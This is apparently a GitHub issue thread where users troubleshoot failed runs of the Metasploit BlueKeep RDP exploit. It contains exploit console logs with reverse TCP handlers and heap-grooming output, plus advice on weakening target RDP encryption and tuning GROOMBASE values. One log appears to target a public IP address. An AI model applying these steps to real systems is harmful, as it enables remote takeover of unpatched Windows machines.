[*] [2019.09.11-12:56:24] Started reverse TCP handler on 192.168.130.139:4444 
[*] [2019.09.11-12:56:24] 192.168.130.137:3389  - Verifying RDP protocol...
[*] [2019.09.11-12:56:24] 192.168.130.137:3389  - Attempting to connect using TLS security
[-] [2019.09.11-12:56:24] 192.168.130.137:3389  - Connection reset
[*] [2019.09.11-12:56:24] 192.168.130.137:3389  - Cannot reliably check exploitability.
[*] [2019.09.11-12:56:24] 192.168.130.137:3389 - Verifying RDP protocol...
[*] [2019.09.11-12:56:24] 192.168.130.137:3389 - Attempting to connect using TLS security
[-] [2019.09.11-12:56:24] 192.168.130.137:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer - SSL_connect
[*] Exploit completed, but no session was created.

while other scanners confirm the vm is vulnerable

@razvanionescu

This comment has been minimized.

Copy link

commented Sep 11, 2019

@fsacer Do check your target's VM settings when it comes to TLS negotiation. I had pretty much the same problem also with a WIN 7 machine and I have used gpedit.msc to lower the security of the connection encryption level. More details here: https://www.howtogeek.com/175087/how-to-enable-and-secure-remote-desktop-on-windows/.

@fsacer

This comment has been minimized.

Copy link
Contributor

commented Sep 11, 2019

@fsacer Do check your target's VM settings when it comes to TLS negotiation. I had pretty much the same problem also with a WIN 7 machine and I have used gpedit.msc to lower the security of the connection encryption level. More details here: https://www.howtogeek.com/175087/how-to-enable-and-secure-remote-desktop-on-windows/.

yeah that seemed to be an issue, now getting Msf::Exploit::Remote::RDP::RdpCommunicationError, also getting (Windows version: N/A)

@razvanionescu

This comment has been minimized.

Copy link

commented Sep 11, 2019

@fsacer Do check your target's VM settings when it comes to TLS negotiation. I had pretty much the same problem also with a WIN 7 machine and I have used gpedit.msc to lower the security of the connection encryption level. More details here: https://www.howtogeek.com/175087/how-to-enable-and-secure-remote-desktop-on-windows/.

yeah that seemed to be an issue, now getting Msf::Exploit::Remote::RDP::RdpCommunicationError, also getting (Windows version: N/A)

@fsacer you need to fine tune the exploit by providing the right GROOMBASE. do check our blog post here: https://pentest-tools.com/blog/bluekeep-exploit-metasploit/ to see how we did it.

@gearcapitan

This comment has been minimized.

Copy link

commented Sep 12, 2019

msf5 exploit(windows/rdp/rdp_bluekeep) > exploit

[] Started reverse TCP handler on 192.168.220.132:4444
[
] 192.168.220.131:3389 - Connecting to the target...
[-] 192.168.220.131:3389 - [SSL: UNSUPPORTED_PROTOCOL] unsupported protocol (_ssl.c:1076)
[*] 192.168.220.131:3389 - Traceback (most recent call last):
File "/root/.msf4/modules/exploits/windows/rdp/rdp_bluekeep.py", line 911, in exploit
rdp.connect()
File "/root/.msf4/modules/exploits/windows/rdp/rdp_bluekeep.py", line 497, in connect
self._create_socket()
File "/root/.msf4/modules/exploits/windows/rdp/rdp_bluekeep.py", line 559, in _create_socket
self.tls = context.wrap_socket(self.sock, server_hostname=self.host)
File "/usr/lib/python3.7/ssl.py", line 423, in wrap_socket
session=session
File "/usr/lib/python3.7/ssl.py", line 870, in _create
self.do_handshake()
File "/usr/lib/python3.7/ssl.py", line 1139, in do_handshake
self._sslobj.do_handshake()
ssl.SSLError: [SSL: UNSUPPORTED_PROTOCOL] unsupported protocol (_ssl.c:1076)

[] 192.168.220.131:3389 - Exploit completed in 0 seconds.
[-] Exploit aborted due to failure: unknown: Module exited abnormally
[
] Exploit completed, but no session was created.

@libyadoctor

This comment has been minimized.

Copy link

commented Sep 13, 2019

who can help me plz
i am tried
i do not know what is the problem

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Started reverse TCP handler on XX.XX.XX.XX:4444 
[*] XX.XX.XX.XX:3389   - Detected RDP on XX.XX.XX.XX:3389   (Windows version: 6.1.7601) (Requires NLA: No)
[+] XX.XX.XX.XX:3389   - The target is vulnerable.
[*] XX.XX.XX.XX:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8013200000, Channel count 1.
[*] XX.XX.XX.XX:3389 - Surfing channels ...
[*] XX.XX.XX.XX:3389 - Lobbing eggs ...
[-] XX.XX.XX.XX:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.

Edit by OJ: Removed all IP addresses from comment.

@libyadoctor

This comment has been minimized.

Copy link

commented Sep 13, 2019

how i can adjust and modified the GROOMBASE value in VM's NonPagedPool value,
I had to set my VM (vmware) to 2 GB of memory with 2 cores. Set the GrOOMSIZE to 50

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[] Started reverse TCP handler on 141.255.144.255:4444
[
] 62.240.100.213:3389 - Detected RDP on 62.240.100.213:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 62.240.100.213:3389 - The target is vulnerable.
[] 62.240.100.213:3389 - Using CHUNK grooming strategy. Size 0MB, target address 0xfffffa8018c00000, Channel count 1.
[
] 62.240.100.213:3389 - Surfing channels ...
[-] 62.240.100.213:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.

@mx1r

This comment has been minimized.

Copy link

commented Sep 13, 2019

Getting connection reset on a WINSRV 2008 R2 SP1 Vpshere guest with 4-16gb of memory.
Anyone succeeded with vpshere guests? Interested in groombase and groomsize values.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
You can’t perform that action at this time.